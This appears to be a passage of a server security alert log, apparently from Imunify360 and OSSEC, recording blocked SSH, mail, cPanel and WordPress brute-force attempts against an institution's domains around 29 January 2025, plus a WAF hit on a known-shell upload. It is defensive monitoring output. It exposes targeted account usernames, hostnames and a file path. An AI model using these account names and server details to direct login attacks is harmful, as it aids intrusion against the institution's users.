Jan 29 21:40:11 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.153.177.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.40.236
description:
Jan 29 21:40:27 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.40.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 21:40:28 ait sshd[512617]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.40.236
description:
2025-01-29 21:40:29 dovecot_plain authenticator failed for ([171.244.40.228]) [171.244.40.236]:58630: 535 Incorrect authentication data (set_id=jkudzie)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.124.57.68
description:
[2025-01-29 21:41:08 +0100] info [webmaild] 179.124.57.68 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.2.14.152
description:
[2025-01-29 21:42:00 +0100] info [webmaild] 187.2.14.152 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 21:43:22 ait sshd[513608]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.239.98.55
description:
[2025-01-29 21:43:46 +0100] info [webmaild] 170.239.98.55 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 21:43:22 ait sshd[513608]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.110.44.221
description:
2025-01-29 21:43:26 dovecot_plain authenticator failed for broadband-37-110-44-221.ip.moscow.rt.ru [37.110.44.221]:9381: 535 Incorrect authentication data (set_id=adams@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.244.126.105
description:
2025-01-29 21:43:39 dovecot_plain authenticator failed for 92-244-126-105.kievnet.com.ua (poldierra) [92.244.126.105]:37164: 535 Incorrect authentication data (set_id=efreeman@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.170.117
description:
2025-01-29 21:43:34 dovecot_plain authenticator failed for ip117.net-81-16-170.koping.net [81.16.170.117]:48800: 535 Incorrect authentication data (set_id=adams)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.244.126.105
description:
Jan 29 21:43:37 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.244.126.105 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.177.13.92
description:
[2025-01-29 21:43:02 +0100] info [webmaild] 45.177.13.92 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.110.44.221
description:
Jan 29 21:43:24 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.110.44.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.16.170.117
description:
Jan 29 21:43:32 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.16.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.64.210.170
description:
Jan 29 21:44:42 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.64.210.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.64.210.170
description:
2025-01-29 21:44:44 dovecot_plain authenticator failed for ([113.64.210.170]) [113.64.210.170]:55061: 535 Incorrect authentication data (set_id=baah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.99.223.203
description:
Jan 29 21:44:53 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.99.223.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.160.158
description:
Jan 29 21:45:22 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.160.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.200.160.158
description:
2025-01-29 21:45:24 dovecot_plain authenticator failed for 158.160.200.177.netflexisp.com.br [177.200.160.158]:25401: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.223.203
description:
2025-01-29 21:44:55 dovecot_plain authenticator failed for ([210.99.223.203]) [210.99.223.203]:49052: 535 Incorrect authentication data (set_id=baah)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.70.159.124
description:
[2025-01-29 21:44:57 +0100] info [webmaild] 45.70.159.124 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:21-44.80.76.51.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.100
description:
Jan 29 21:45:05 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.100
description:
2025-01-29 21:45:07 dovecot_plain authenticator failed for (m121-202-153-100.smartone.com) [121.202.153.100]:18980: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.48.130
description:
[2025-01-29 21:45:08 +0100] info [webmaild] 191.37.48.130 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:21-45.15.206.171.64


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 21:46:51 ait sshd[515224]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 21:46:51 ait sshd[515224]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 21:46:06 ait sshd[514964]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 21:46:06 ait sshd[514964]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 21:47:14 ait sshd[515297]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.196.125.38
description:
[2025-01-29 21:47:18 +0100] info [webmaild] 168.196.125.38 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL block known shells
abuser: 94.228.162.228
domain: iric.us
description:
IM360 WAF: RBL block known shells||MVN:ARGS:p1||WPU:||RSV:6.65||T:APACHE||MV:uploadFile||SC:/home/titlemas/public_html/iric.us/modules


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 129.45.33.108
description:
[2025-01-29 21:47:51 +0100] info [webmaild] 129.45.33.108 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 21:47:14 ait sshd[515297]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=root


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 94.228.162.228
domain: iric.us
description:
IM360 WAF: Track file upload for Infectors||RSV:6.65||T:APACHE||SC:/home/titlemas/public_html/iric.us/modules||User:titlemas||WPU:||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 193.176.125.2
description:
[2025-01-29 21:48:17 +0100] info [webmaild] 193.176.125.2 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.45.76.149
description:
2025-01-29 21:49:54 dovecot_plain authenticator failed for ip-4c95.sunline.net.ua (irrate) [94.45.76.149]:38706: 535 Incorrect authentication data (set_id=mordzifa@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.94.232.101
description:
[2025-01-29 21:48:57 +0100] info [webmaild] 181.94.232.101 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.207.112.45
description:
Jan 29 21:49:18 ait sshd[516016]: pam_imunify(sshd:auth): [IM360_RBL] The IP 114.207.112.45 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.49.58.122
description:
[2025-01-29 21:49:50 +0100] info [webmaild] 189.49.58.122 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 114.207.112.45
description:
Jan 29 21:49:18 ait sshd[516016]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.207.112.45  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.45.76.149
description:
Jan 29 21:49:52 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.45.76.149 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.176.84.247
description:
[2025-01-29 21:49:15 +0100] info [webmaild] 196.176.84.247 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 21:50:40 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 54.36.108.223
description:
Jan 29 21:50:52 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 54.36.108.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.177.21.250
description:
[2025-01-29 21:50:02 +0100] info [webmaild] 201.177.21.250 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.171.20.211
description:
Jan 29 21:50:59 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.171.20.211 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 205.196.221.238
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:21-51.205.196.221.238


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.230.172.131
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:21-51.157.230.172.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.171.20.211
description:
2025-01-29 21:51:01 dovecot_login authenticator failed for (106.51.79.73.actcorp.in) [122.171.20.211]:4379: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 212.3.150.239
description:
[2025-01-29 21:51:09 +0100] info [webmaild] 212.3.150.239 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.20.22.58
description:
Jan 29 21:51:13 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.20.22.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.20.22.58
description:
2025-01-29 21:51:15 dovecot_login authenticator failed for (8-20-22-58.hwccustomers.com) [8.20.22.58]:61912: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.37.210.169
description:
2025-01-29 21:52:36 dovecot_login authenticator failed for ([127.0.0.1]) [78.37.210.169]:56324: 535 Incorrect authentication data (set_id=zabopiqu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 21:52:52 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.66.39.247
description:
Jan 29 21:52:29 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.66.39.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.66.39.247
description:
2025-01-29 21:52:31 dovecot_login authenticator failed for ([127.0.0.1]) [178.66.39.247]:34595: 535 Incorrect authentication data (set_id=zabopiqu@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.37.210.169
description:
Jan 29 21:52:34 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.37.210.169 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.7.180.231
description:
[2025-01-29 21:52:36 +0100] info [webmaild] 189.7.180.231 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.221.161.34
description:
[2025-01-29 21:53:54 +0100] info [webmaild] 131.221.161.34 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.95.234
description:
Jan 29 21:53:05 ait sshd[517425]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.95.234 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.95.234
description:
Jan 29 21:53:05 ait sshd[517425]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.95.234  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 62.164.144.53
description:
[2025-01-29 21:53:10 +0100] info [webmaild] 62.164.144.53 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.235.148.73
description:
Jan 29 21:54:48 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.235.148.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.235.148.73
description:
2025-01-29 21:54:50 dovecot_login authenticator failed for ([127.0.0.1]) [171.235.148.73]:56332: 535 Incorrect authentication data (set_id=amadam)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.173.38.163
description:
2025-01-29 21:54:41 dovecot_login authenticator failed for ([127.0.0.1]) [220.173.38.163]:59382: 535 Incorrect authentication data (set_id=amadam@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.173.38.163
description:
Jan 29 21:54:39 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.173.38.163 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.243.73.50
description:
[2025-01-29 21:54:55 +0100] info [webmaild] 191.243.73.50 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
description:
Jan 29 21:55:13 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 21:55:15 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
description:
2025-01-29 21:55:15 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:54995: 535 Incorrect authentication data (set_id=abs22a00002y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.158.171.3
description:
2025-01-29 21:55:26 dovecot_plain authenticator failed for ([61.158.171.3]) [61.158.171.3]:49339: 535 Incorrect authentication data (set_id=laryea)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.122.10.162
description:
[2025-01-29 21:55:36 +0100] info [webmaild] 186.122.10.162 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.116.130
description:
47.128.116.130 - - [29/Jan/2025:21:55:48 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7603482 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/3/?duration=extraLong&filter_course-language=79&filtering=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.116.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.91.172.21
description:
Jan 29 21:55:01 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.91.172.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.162.59
description:
Jan 29 21:55:12 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.162.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.162.59
description:
2025-01-29 21:55:14 dovecot_plain authenticator failed for (223-197-162-59.static.imsbiz.com) [223.197.162.59]:58564: 535 Incorrect authentication data (set_id=laryea@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.10.237.49
description:
[2025-01-29 21:55:21 +0100] info [webmaild] 177.10.237.49 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.158.171.3
description:
Jan 29 21:55:24 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.158.171.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.91.172.21
description:
2025-01-29 21:55:03 dovecot_plain authenticator failed for ([219.91.172.21]) [219.91.172.21]:37236: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.34.57
description:
47.128.34.57 - - [29/Jan/2025:21:56:12 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12033589 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/course-category/social-media-marketing/?filtering=1&price_type=paid&tutor-course-filter-category=196" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.34.57


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.207.112.45
description:
Jan 29 21:56:33 ait sshd[518871]: pam_imunify(sshd:auth): [IM360_RBL] The IP 114.207.112.45 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 114.207.112.45
description:
Jan 29 21:56:33 ait sshd[518871]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.207.112.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 21:56:38 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.112.195.244
description:
[2025-01-29 21:57:09 +0100] info [webmaild] 186.112.195.244 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.25.140
description:
2025-01-29 21:57:43 dovecot_login authenticator failed for (TYye0cKICa) [202.165.25.140]:58949: 535 Incorrect authentication data (set_id=hagan@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.52.107.76
description:
[2025-01-29 21:58:41 +0100] info [webmaild] 190.52.107.76 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:21-58.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.36.64.247
description:
Jan 29 21:58:04 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.36.64.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.36.64.247
description:
2025-01-29 21:58:06 dovecot_plain authenticator failed for net-2-36-64-247.cust.vodafonedsl.it (whuming) [2.36.64.247]:53309: 535 Incorrect authentication data (set_id=mordzifa@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.25.140
description:
2025-01-29 21:58:10 dovecot_login authenticator failed for (fjbJ3CpZ2F) [202.165.25.140]:62068: 535 Incorrect authentication data (set_id=hagan@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 21:59:00 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.169.110.59
description:
[2025-01-29 21:59:28 +0100] info [webmaild] 45.169.110.59 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.25.140
description:
2025-01-29 21:59:34 dovecot_login authenticator failed for (T046NY9) [202.165.25.140]:61675: 535 Incorrect authentication data (set_id=hagan@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.126.46.76
description:
[2025-01-29 22:00:22 +0100] info [webmaild] 187.126.46.76 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 22:00:51 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.25.140
description:
2025-01-29 22:00:50 dovecot_login authenticator failed for (2aoD4w) [202.165.25.140]:51491: 535 Incorrect authentication data (set_id=hagan@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.254.161.167
description:
[2025-01-29 22:00:21 +0100] info [webmaild] 170.254.161.167 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.8.142.252
description:
[2025-01-29 22:00:29 +0100] info [webmaild] 177.8.142.252 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 31.45.42.80
description:
Jan 29 22:00:36 ait sshd[520704]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.45.42.80


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.45.42.80
description:
Jan 29 22:00:36 ait sshd[520704]: pam_imunify(sshd:auth): [IM360_RBL] The IP 31.45.42.80 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 22:00:36 ait sshd[520701]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.250.204.144
description:
[2025-01-29 22:01:02 +0100] info [webmaild] 186.250.204.144 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.237.42.54
description:
2025-01-29 22:01:20 dovecot_plain authenticator failed for ([83.237.42.54]) [83.237.42.54]:39164: 535 Incorrect authentication data (set_id=ads88a00080y)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.114.42
description:
47.128.114.42 - - [29/Jan/2025:22:01:24 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=20657794 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/8/?duration=short%2Cmedium&filter_course-language=183&filtering=1&instructor=2&level=intermediate" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.114.42


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.39.125.11
description:
[2025-01-29 22:01:26 +0100] info [webmaild] 177.39.125.11 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 22:01:44 ait auth[516198]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.34.57.78
description:
